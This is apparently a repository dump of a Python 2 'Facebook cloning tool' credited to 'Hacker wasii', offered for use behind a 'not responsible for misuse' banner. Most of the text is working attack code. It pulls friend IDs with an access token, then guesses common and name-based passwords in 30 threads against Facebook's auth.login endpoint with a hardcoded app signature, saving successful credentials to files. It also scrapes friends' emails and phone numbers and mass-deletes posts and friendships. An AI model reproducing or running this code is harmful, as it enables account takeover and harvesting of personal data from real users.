' \x1b[1;97m|\x1b[1;30m ' + pass2 422 | oks.append(user + pass2) 423 | elif 'www.facebook.com' in q['error_msg']: 424 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass2 425 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 426 | crt.write(user + '|' + pass2 + '\n') 427 | crt.close() 428 | checkpoint.append(user + pass2) 429 | except: 430 | pass 431 | 432 | p = ThreadPool(30) 433 | p.map(main, id) 434 | print '\x1b[1;93m----------------------------------------------' 435 | wasii('[\xe2\x9c\x93] \x1b[1;95mProcess Has Been Completed.') 436 | wasii('\x1b[1;97m[\xe2\x9c\x93] \x1b[1;95mCheckpoint IDS Has Been saved.') 437 | xx = str(len(oks)) 438 | xxx = str(len(checkpoint)) 439 | print '[\xe2\x9c\x93] Total \x1b[1;32mOK/\x1b[1;97mCP : \x1b[1;32m' + str(len(oks)) + '/\x1b[1;97m' + str(len(checkpoint)) 440 | print 47 * '-' 441 | raw_input('\nPress Enter To Back ') 442 | choice2() 443 | 444 | 445 | if __name__ == '__main__': 446 | menu2() 447 | -------------------------------------------------------------------------------- /.wasii.py: -------------------------------------------------------------------------------- 1 | # Tool : Wasii ( Facebook cloning tool) 2 | # Author : Waseem Akram ( hackerwasii ) 3 | # github : https://github.com/evildevill 4 | # Note : we are not responsible for any misuse 5 | try: 6 | import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, getpass, mechanize, requests 7 | from multiprocessing.pool import ThreadPool 8 | from requests.exceptions import ConnectionError 9 | from mechanize import Browser 10 | except ImportError: 11 | os.system('pip2 install requests') 12 | os.system('pip2 install mechanize') 13 | os.system('python2 wasi.py') 14 | 15 | reload(sys) 16 | sys.setdefaultencoding('utf8') 17 | br = mechanize.Browser() 18 | br.set_handle_robots(False) 19 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 20 | br.addheaders = [('user-agent', 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')] 21 | 22 | def exit(): 23 | print '[!] Exit' 24 | os.sys.exit() 25 | 26 | 27 | def acak(b): 28 | w = 'ahtdzjc' 29 | d = '' 30 | for i in x: 31 | d += '!' + w[random.randint(0, len(w) - 1)] + i 32 | 33 | return cetak(d) 34 | 35 | 36 | def cetak(b): 37 | w = 'ahtdzjc' 38 | for i in w: 39 | j = w.index(i) 40 | x = x.replace('!%s' % i, '\x1b[%s;1m' % str(31 + j)) 41 | 42 | x += '\x1b[0m' 43 | x = x.replace('!0', '\x1b[0m') 44 | sys.stdout.write(x + '\n') 45 | 46 | 47 | def wasii(z): 48 | for e in z + '\n': 49 | sys.stdout.write(e) 50 | sys.stdout.flush() 51 | time.sleep(0.03) 52 | 53 | 54 | def hopss(z): 55 | for e in z + '\n': 56 | sys.stdout.write(e) 57 | sys.stdout.flush() 58 | time.sleep(0.1) 59 | 60 | 61 | banner = '\n\x1b[1;95mTool By Hacker wasii\n We are not responsible for any \nillegal activity\n \n' 62 | 63 | def tik(): 64 | titik = [ 65 | '. ', '.. ', '... '] 66 | for o in titik: 67 | print '\r[\xe2\x9c\x94] \x1b[1;92mLogging In ' + o, 68 | sys.stdout.flush() 69 | time.sleep(1) 70 | 71 | 72 | back = 0 73 | threads = [] 74 | successful = [] 75 | checkpoint = [] 76 | oks = [] 77 | gagal = [] 78 | idh = [] 79 | id = [] 80 | emfromfriend = [] 81 | nofromfriend = [] 82 | 83 | def menu(): 84 | os.system('clear') 85 | try: 86 | toket = open('login.txt', 'r').read() 87 | except IOError: 88 | os.system('clear') 89 | print '[!] \x1b[1;91mToken Not Found' 90 | os.system('rm -rf login.txt') 91 | time.sleep(1) 92 | os.system('python2 wasi.py') 93 | 94 | try: 95 | otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) 96 | a = json.loads(otw.text) 97 | name = a['name'] 98 | id = a['id'] 99 | except KeyError: 100 | os.system('clear') 101 | print '[!] \x1b[1;91mAccount Is On Checkpoint' 102 | os.system('rm -rf login.txt') 103 | time.sleep(1) 104 | os.system('python2 wasi.py') 105 | except requests.exceptions.ConnectionError: 106 | print '[!] No Connection' 107 | time.sleep(1) 108 | 109 | os.system('clear') 110 | print banner 111 | print '|[\xe2\x9c\x93] \x1b[1;96mName: ' + name 112 | print '|[\xe2\x9c\x93] \x1b[1;96mID : ' + id 113 | print 47 * '-' 114 | print '[1] \x1b[1;95mStart Cloning.' 115 | print '[2] \x1b[1;95mClone With Pass Choice.' 116 | print '[3] \x1b[1;95mGrabbing ids Tools.' 117 | print '[4] \x1b[1;95mAuto Delete Tools.' 118 | print '[5] \x1b[1;95mUpdate Tool.' 119 | print '[6] \x1b[1;95mFollow Me On Youtube.' 120 | print '[7] Logout' 121 | print ' ' 122 | men() 123 | 124 | 125 | def men(): 126 | rana = raw_input('Choose Option >> ') 127 | if rana == '': 128 | print ' \x1b[1;91mWrong Input' 129 | men() 130 | elif rana == '1': 131 | crack() 132 | elif rana == '2': 133 | os.system('clear') 134 | wasii('[!] \x1b[1;92mPlease Wait While Page Is Loding.') 135 | hopss('10%..Wait.') 136 | hopss('20%.5..') 137 | hopss('50%..4.') 138 | hopss('70%.3..') 139 | hopss('90%..2.') 140 | hopss('95%..Done.') 141 | os.system('python2 .opt.py') 142 | time.sleep(1) 143 | elif rana == '3': 144 | grab() 145 | elif rana == '4': 146 | bot() 147 | elif rana == '5': 148 | os.system('clear') 149 | print banner 150 | wasii('[\xe2\x9c\x93] \x1b[1;92mPlease Wait While Tool Is Updating') 151 | os.system('git pull origin master') 152 | wasii('[\xe2\x9c\x93] \x1b[1;92mTool Has Been Update Successfully') 153 | wasii('[\xe2\x9c\x93] \x1b[1;92mPlease Wait While Update Is Setting Up On Your Mobile Phone') 154 | time.sleep(3) 155 | os.wasii('python2 wasi.py') 156 | elif rana == '6': 157 | os.system('xdg-open https://www.youtube.com/channel/HackerWasii') 158 | menu() 159 | elif rana == '7': 160 | os.system('rm -rf login.txt') 161 | wasii('[\xe2\x9c\x93] Logged Out Successfully') 162 | os.system('python2 wasi.py') 163 | else: 164 | print '[!] \x1b[1;91mWrong Input' 165 | men() 166 | 167 | 168 | def crack(): 169 | global toket 170 | os.system('clear') 171 | try: 172 | toket = open('login.txt', 'r').read() 173 | except IOError: 174 | print '\x1b[1;91mToken invalid' 175 | os.system('rm -rf login.txt') 176 | time.sleep(1) 177 | os.system('python2 wasi.py') 178 | 179 | os.system('clear') 180 | print banner 181 | print '[1] \x1b[1;93mClone From Friendlist.' 182 | print '[2] \x1b[1;93mClone From Any Public ID.' 183 | print '[3] \x1b[1;93mClone From File.' 184 | print '[0] Back.' 185 | crack_menu() 186 | 187 | 188 | def crack_menu(): 189 | global oks 190 | crm = raw_input('Choose Option >> ') 191 | if crm == '': 192 | print '[!] Filled Incorrectly' 193 | crack_menu() 194 | elif crm == '1': 195 | os.system('clear') 196 | print banner 197 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 198 | z = json.loads(r.text) 199 | for s in z['data']: 200 | id.append(s['id']) 201 | 202 | elif crm == '2': 203 | os.system('clear') 204 | print banner 205 | idt = raw_input('[+] Input ID: ') 206 | try: 207 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 208 | op = json.loads(jok.text) 209 | wasii('\x1b[1;97m[\xe2\x9c\x93] \x1b[1;95mAccount Name \x1b[1;97m:\x1b[1;97m ' + op['name']) 210 | except KeyError: 211 | print '[!] \x1b[1;91mID Not Found!' 212 | raw_input('\nPress Enter To Back ') 213 | crack() 214 | 215 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 216 | z = json.loads(r.text) 217 | for i in z['data']: 218 | id.append(i['id']) 219 | 220 | elif crm == '3': 221 | os.system('clear') 222 | print banner 223 | try: 224 | idlist = raw_input('[+] File Name: ') 225 | for line in open(idlist, 'r').readlines(): 226 | id.append(line.strip()) 227 | 228 | except IOError: 229 | print '[!] \x1b[1;91mFile Not Found.' 230 | raw_input('Press Enter To Back. ') 231 | crack() 232 | 233 | elif crm == '0': 234 | menu() 235 | else: 236 | print 'Filled Incorrectly' 237 | crack_menu() 238 | wasii('[\xe2\x9c\x93] \x1b[1;96mTotal Friends: ' + str(len(id))) 239 | time.sleep(0.5) 240 | wasii('[\xe2\x9c\x93] \x1b[1;96mThe Process Has Been Started.') 241 | time.sleep(0.5) 242 | wasii('[!] \x1b[1;96mTo Stop Process Press CTRL Then Z') 243 | time.sleep(0.5) 244 | print 47 * '-' 245 | 246 | def main(arg): 247 | user = arg 248 | try: 249 | os.mkdir('save') 250 | except OSError: 251 | pass 252 | 253 | try: 254 | a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) 255 | b = json.loads(a.text) 256 | pass1 = '786786' 257 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 258 | q = json.load(data) 259 | if 'access_token' in q: 260 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass1 261 | oks.append(user + pass1) 262 | elif 'www.facebook.com' in q['error_msg']: 263 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass1 264 | crt = open('save/checkpoint.txt', 'a') 265 | crt.write(user + '|' + pass1 + '\n') 266 | crt.close() 267 | checkpoint.append(user + pass1) 268 | else: 269 | pass2 = 'Pakistan' 270 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 271 | q = json.load(data) 272 | if 'access_token' in q: 273 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass2 274 | oks.append(user + pass2) 275 | elif 'www.facebook.com' in q['error_msg']: 276 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass2 277 | crt = open('save/checkpoint.txt', 'a') 278 | crt.write(user + '|' + pass2 + '\n') 279 | crt.close() 280 | checkpoint.append(user + pass2) 281 | else: 282 | pass3 = b['first_name'] + '786' 283 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 284 | q = json.load(data) 285 | if 'access_token' in q: 286 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass3 287 | oks.append(user + pass3) 288 | elif 'www.facebook.com' in q['error_msg']: 289 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass3 290 | crt = open('save/checkpoint.txt', 'a') 291 | crt.write(user + '|' + pass3 + '\n') 292 | crt.close() 293 | checkpoint.append(user + pass3) 294 | else: 295 | pass4 = b['first_name'] + '123' 296 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 297 | q = json.load(data) 298 | if 'access_token' in q: 299 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass4 300 | oks.append(user + pass4) 301 | elif 'www.facebook.com' in q['error_msg']: 302 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass4 303 | crt = open('save/checkpoint.txt', 'a') 304 | crt.write(user + '|' + pass4 + '\n') 305 | crt.close() 306 | checkpoint.append(user + pass4) 307 | else: 308 | pass5 = b['first_name'] + '12345' 309 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 310 | q = json.load(data) 311 | if 'access_token' in q: 312 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass5 313 | oks.append(user + pass5) 314 | elif 'www.facebook.com' in q['error_msg']: 315 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass5 316 | crt = open('save/checkpoint.txt', 'a') 317 | crt.write(user + '|' + pass5 + '\n') 318 | crt.close() 319 | checkpoint.append(user + pass5) 320 | else: 321 | pass6 = b['first_name'] + '1122' 322 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 323 | q = json.load(data) 324 | if 'access_token' in q: 325 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass6 326 | oks.append(user + pass6) 327 | elif 'www.facebook.com' in q['error_msg']: 328 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass6 329 | crt = open('save/checkpoint.txt', 'a') 330 | crt.write(user + '|' + pass6 + '\n') 331 | crt.close() 332 | checkpoint.append(user + pass6) 333 | else: 334 | pass7 = b['last_name'] + '786' 335 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 336 | q = json.load(data) 337 | if 'access_token' in q: 338 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass7 339 | oks.append(user + pass7) 340 | elif 'www.facebook.com' in q['error_msg']: 341 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass7 342 | crt = open('save/checkpoint.txt', 'a') 343 | crt.write(user + '|' + pass7 + '\n') 344 | crt.close() 345 | checkpoint.append(user + pass7) 346 | except: 347 | pass 348 | 349 | p = ThreadPool(30) 350 | p.map(main, id) 351 | print '\x1b[1;97m----------------------------------------------' 352 | wasii('[\xe2\x9c\x93] \x1b[1;92mProcess Has Been Completed.') 353 | wasii('\x1b[1;93m[\xe2\x9c\x93] \x1b[1;92mCheckpoint IDS Has Been Saved.') 354 | xx = str(len(oks)) 355 | xxx = str(len(checkpoint)) 356 | print '[\xe2\x9c\x93] Total \x1b[1;93mOK/\x1b[1;96mCP : \x1b[1;93m' + str(len(oks)) + '/\x1b[1;97m' + str(len(checkpoint)) 357 | print 47 * '-' 358 | raw_input('\nPress Enter To Back ') 359 | menu() 360 | 361 | 362 | def grab(): 363 | os.system('clear') 364 | try: 365 | toket = open('login.txt', 'r').read() 366 | except IOError: 367 | print '[!] Token Not Found' 368 | os.system('rm -rf login.txt') 369 | time.sleep(1) 370 | os.system('python2 wasi.py') 371 | 372 | os.system('clear') 373 | print banner 374 | print '[1]\x1b[1;94m Extract Numeric IDs From Public ID.' 375 | print "[2]\x1b[1;94m Extract Email's From Public ID." 376 | print '[3]\x1b[1;94m Extract Phone Number From Public ID.' 377 | print '[0] Back.' 378 | print ' ' 379 | grab_menu() 380 | 381 | 382 | def grab_menu(): 383 | grm = raw_input('\nChoose Option >> ') 384 | if grm == '': 385 | print ' Wrong Input' 386 | grab_menu() 387 | elif grm == '1': 388 | idfromfriend() 389 | elif grm == '2': 390 | emailfromfriend() 391 | elif grm == '3': 392 | numberfromfriend() 393 | elif grm == '0': 394 | menu() 395 | else: 396 | print '[!] Wrong input' 397 | grab_menu() 398 | 399 | 400 | def idfromfriend(): 401 | os.system('clear') 402 | try: 403 | toket = open('login.txt', 'r').read() 404 | except IOError: 405 | print '[!] Token Not Found' 406 | os.system('rm -rf login.txt') 407 | time.sleep(1) 408 | 409 | try: 410 | os.mkdir('save') 411 | except OSError: 412 | pass 413 | 414 | try: 415 | os.system('clear') 416 | print banner 417 | idt = raw_input('[+] Input ID : ') 418 | try: 419 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 420 | op = json.loads(jok.text) 421 | print '[\xe2\x9c\x93]\x1b[1;92m Account Name : ' + op['name'] 422 | except KeyError: 423 | print '[!] Friend Not Found' 424 | raw_input('Press Enter To Back ') 425 | grab() 426 | 427 | r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) 428 | z = json.loads(r.text) 429 | wasii('[\xe2\x9c\x93] \x1b[1;92mGetting Friends Numeric IDs...') 430 | print '--------------------------------------' 431 | bz = open('save/id.txt', 'w') 432 | for a in z['friends']['data']: 433 | idh.append(a['id']) 434 | bz.write(a['id'] + '\n') 435 | print '\r[' + str(len(idh)) + ' ] => ' + a['id'], 436 | sys.stdout.flush() 437 | time.sleep(0.001) 438 | 439 | bz.close() 440 | print '\r[\xe2\x9c\x93] The Process Has Been Completed.' 441 | print '\r[\xe2\x9c\x93] Total IDs Founded : ' + str(len(idh)) 442 | done = raw_input('\r[?] Save File With Name : ') 443 | print '\r[\xe2\x9c\x93] The File Has Been Saved As save/' + done 444 | raw_input('\nPress Enter To Back ') 445 | grab() 446 | except IOError: 447 | print '[!] Error While Creating file' 448 | raw_input('\nPress Enter To Back ') 449 | grab() 450 | except (KeyboardInterrupt, EOFError): 451 | print '[!]The Process Has Been Stopped' 452 | raw_input('\nPress Enter To Back ') 453 | grab() 454 | except KeyError: 455 | print '[!] Error' 456 | raw_input('\nPress Enter To Back ') 457 | grab() 458 | except requests.exceptions.ConnectionError: 459 | print '[\xe2\x9c\x96] No Connection' 460 | time.sleep(1) 461 | grab() 462 | 463 | 464 | def emailfromfriend(): 465 | os.system('clear') 466 | try: 467 | toket = open('login.txt', 'r').read() 468 | except IOError: 469 | print '[!] Token Not Found' 470 | os.system('rm -rf login.txt') 471 | time.sleep(1) 472 | os.system('python2 wasi.py') 473 | 474 | try: 475 | os.mkdir('save') 476 | except OSError: 477 | pass 478 | 479 | try: 480 | os.system('clear') 481 | print banner 482 | idt = raw_input('[+] Input ID : ') 483 | try: 484 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 485 | op = json.loads(jok.text) 486 | print '[\xe2\x9c\x93] \x1b[1;92mAccount Name : ' + op['name'] 487 | except KeyError: 488 | print '[!] Account Not Found' 489 | raw_input('\nPress Enter To Back ') 490 | grab() 491 | 492 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 493 | a = json.loads(r.text) 494 | wasii('[\xe2\x9c\x93] \x1b[1;92mGetting Emails From') 495 | print 40 * '\x1b[1;97m-' 496 | bz = open('save/email.txt', 'w') 497 | for i in a['data']: 498 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 499 | z = json.loads(x.text) 500 | try: 501 | emfromfriend.append(z['email']) 502 | bz.write(z['email'] + '\n') 503 | print '\r\x1b[1;97m[ \x1b[1;97m' + str(len(emfromfriend)) + '\x1b[1;97m ]\x1b[1;97m \x1b[1;97m' + z['email'] + ' | ' + z['name'] + '\n', 504 | sys.stdout.flush() 505 | time.sleep(0.0001) 506 | except KeyError: 507 | pass 508 | 509 | bz.close() 510 | print '----------------------------------' 511 | print '\r[\xe2\x9c\x93] Successfully Extracted Mails' 512 | print '\r[\xe2\x9c\x93] Total Mail Founded : ' + str(len(emfromfriend)) 513 | done = raw_input('\r\x1b[1;97m[\xe2\x9c\x93] \x1b[1;97mSave File With Name\x1b[1;97m :\x1b[1;97m ') 514 | print '\r[\xe2\x9c\x93] File Has Been Saved As : save/' + done 515 | raw_input('\nPress Enter To Back ') 516 | grab() 517 | except IOError: 518 | print '[!] Error While Creating file' 519 | raw_input('\nPress Enter To Back ') 520 | grab() 521 | except (KeyboardInterrupt, EOFError): 522 | print '[!] Process Has Been Stopped' 523 | raw_input('\nPress Enter To Back ') 524 | grab() 525 | except KeyError: 526 | print '[!] Error' 527 | raw_input('\nPress Enter To Back ') 528 | grab() 529 | except requests.exceptions.ConnectionError: 530 | print '\x1b[1;97m[\xe2\x9c\x96] No Connection' 531 | time.sleep(1) 532 | grab() 533 | 534 | 535 | def numberfromfriend(): 536 | os.system('clear') 537 | try: 538 | toket = open('login.txt', 'r').read() 539 | except IOError: 540 | print '[!] Token Not Found' 541 | os.system('rm -rf login.txt') 542 | time.sleep(1) 543 | os.system('python2 wasi.py') 544 | 545 | try: 546 | os.mkdir('save') 547 | except OSError: 548 | pass 549 | 550 | try: 551 | os.system('clear') 552 | print banner 553 | idt = raw_input('[+] Input ID : ') 554 | try: 555 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 556 | op = json.loads(jok.text) 557 | print '[\xe2\x9c\x93] \x1b[1;92mAccount Name : ' + op['name'] 558 | except KeyError: 559 | print '[!] Friend Not Found' 560 | raw_input('\nPress Enter To Back ') 561 | grab() 562 | 563 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 564 | a = json.loads(r.text) 565 | wasii('[\xe2\x9c\x93] \x1b[1;92mGetting All Numbers') 566 | print 40 * '\x1b[1;97m-' 567 | bz = open('save/number.txt', 'w') 568 | for i in a['data']: 569 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 570 | z = json.loads(x.text) 571 | try: 572 | nofromfriend.append(z['mobile_phone']) 573 | bz.write(z['mobile_phone'] + '\n') 574 | print '\r\x1b[1;97m[ \x1b[1;97m' + str(len(nofromfriend)) + '\x1b[1;97m ]\x1b[1;97m \x1b[1;97m' + z['mobile_phone'] + ' | ' + z['name'] + '\n', 575 | sys.stdout.flush() 576 | time.sleep(0.001) 577 | except KeyError: 578 | pass 579 | 580 | bz.close() 581 | print '-----------------------------------' 582 | print '\r[\xe2\x9c\x93] Total Number Founded : ' + str(len(nofromfriend)) 583 | done = raw_input('\r[?] Save File With Name: ') 584 | print '\r[\xe2\x9c\x93] File Has Been Saved As save/' + done 585 | raw_input('\nPress Enter To Back ') 586 | grab() 587 | except IOError: 588 | print '[!] Error While Creating file' 589 | raw_input('\nPress Enter To Back ') 590 | grab() 591 | except (KeyboardInterrupt, EOFError): 592 | print '[!]The Process Has Been Stopped' 593 | raw_input('\nPress Enter To Back') 594 | grab() 595 | except KeyError: 596 | print '[!] Error' 597 | raw_input('\nPress Enter To Back ') 598 | grab() 599 | except requests.exceptions.ConnectionError: 600 | print '\n[\xe2\x9c\x96] No Connection' 601 | time.sleep(1) 602 | grab() 603 | 604 | 605 | def bot(): 606 | os.system('clear') 607 | try: 608 | toket = open('login.txt', 'r').read() 609 | except IOError: 610 | print '[!] Token not found' 611 | os.system('rm -rf login.txt') 612 | time.sleep(1) 613 | os.system('python2 wasi.py') 614 | 615 | os.system('clear') 616 | print banner 617 | print '[1]\x1b[1;92m Auto Delete Posts.' 618 | print '[2]\x1b[1;92m Auto Accept Friend Requests.' 619 | print '[3] \x1b[1;92mAuto Unfriend All.' 620 | print '[0] Back.' 621 | print ' ' 622 | bot_menu() 623 | 624 | 625 | def bot_menu(): 626 | bots = raw_input('\nChoose Option >> ') 627 | if bots == '': 628 | print '[!] Wrong Input' 629 | bot_menu() 630 | elif bots == '1': 631 | deletepost() 632 | elif bots == '2': 633 | accept() 634 | elif bots == '3': 635 | unfriend() 636 | elif bots == '0': 637 | menu() 638 | else: 639 | print '[!] Wrong Input' 640 | bot_menu() 641 | 642 | 643 | def deletepost(): 644 | os.system('clear') 645 | try: 646 | toket = open('login.txt', 'r').read() 647 | nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) 648 | lol = json.loads(nam.text) 649 | name = lol['name'] 650 | except IOError: 651 | print '[!] Token Not Found' 652 | os.system('rm -rf login.txt') 653 | time.sleep(0.1) 654 | os.system('python2 wasi.py') 655 | 656 | os.system('clear') 657 | print banner 658 | print '[\xe2\x9c\x93] \x1b[1;92mAccount Name : ' + nama 659 | wasii('[\xe2\x9c\x93] \x1b[1;92mThe Process Has Been Started') 660 | print 40 * '-' 661 | asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) 662 | asus = json.loads(asu.text) 663 | for p in asus['data']: 664 | id = p['id'] 665 | piro = 0 666 | url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) 667 | ok = json.loads(url.text) 668 | try: 669 | error = ok['error']['message'] 670 | print '\x1b[1;97m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;97m] \x1b[1;97m[!] Failed' 671 | except TypeError: 672 | print '\x1b[1;97m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;97m \x1b[1;97[\xe2\x9c\x93] [Deleted]' 673 | piro += 1 674 | except requests.exceptions.ConnectionError: 675 | print '\x1b[1;91m[!] Connection Error' 676 | raw_input('\nPress Enter To Back ') 677 | bot() 678 | 679 | print 40 * '-' 680 | print '[\xe2\x9c\x93] The Process Has Been Completed. ' 681 | raw_input('\nPress Enter To Back ') 682 | bot() 683 | 684 | 685 | def accept(): 686 | os.system('clear') 687 | try: 688 | toket = open('login.txt', 'r').read() 689 | except IOError: 690 | print '[!] Token Not Found' 691 | os.system('rm -rf login.txt') 692 | time.sleep(1) 693 | os.system('python2 wasi.py') 694 | 695 | os.system('clear') 696 | print banner 697 | limit = raw_input('[+]\x1b[1;92m Enter Limit To Accept Requests : ') 698 | r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) 699 | teman = json.loads(r.text) 700 | if '[]' in str(teman['data']): 701 | print 'No friend Request' 702 | raw_input('Press Enter To Back ') 703 | bot() 704 | wasii('[\xe2\x9c\x93] The Process Has Been Start') 705 | print 40 * '-' 706 | for i in teman['data']: 707 | gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) 708 | a = json.loads(gas.text) 709 | if 'error' in str(a): 710 | print '[!] [Failed] | ' + i['from']['name'] 711 | else: 712 | print '[!] [Accepted] | ' + i['from']['name'] 713 | 714 | print 40 * '-' 715 | print '[\xe2\x9c\x93] The Process Has Been Completed.' 716 | raw_input('\nPress Enter To Back ') 717 | bot() 718 | 719 | 720 | def unfriend(): 721 | os.system('clear') 722 | try: 723 | toket = open('login.txt', 'r').read() 724 | except IOError: 725 | print '[!] Token Not Found' 726 | os.system('rm -rf login.txt') 727 | time.sleep(1) 728 | os.system('python2 wasi.py') 729 | 730 | os.system('clear') 731 | print banner 732 | wasii('[\xe2\x9c\x93] The Process Has Been Started.') 733 | print '[\xe2\x9c\x93] Press CTRL Z to Stop Process.' 734 | print 50 * '-' 735 | try: 736 | pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 737 | cok = json.loads(pek.text) 738 | for i in cok['data']: 739 | name = i['name'] 740 | id = i['id'] 741 | requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) 742 | print '[\xe2\x9c\x93]\x1b[1;92m [Unfriended] | ' + name 743 | 744 | except IndexError: 745 | pass 746 | except KeyboardInterrupt: 747 | print '[!]The Process Has Been Stopped' 748 | raw_input('\n Press Enter To Back ') 749 | bot() 750 | 751 | print '[\xe2\x9c\x93] The Process Has Been Completed.' 752 | raw_input('Press Enter To Back ') 753 | bot() 754 | 755 | 756 | if __name__ == '__main__': 757 | menu() 758 | --------------------------------------------------------------------------------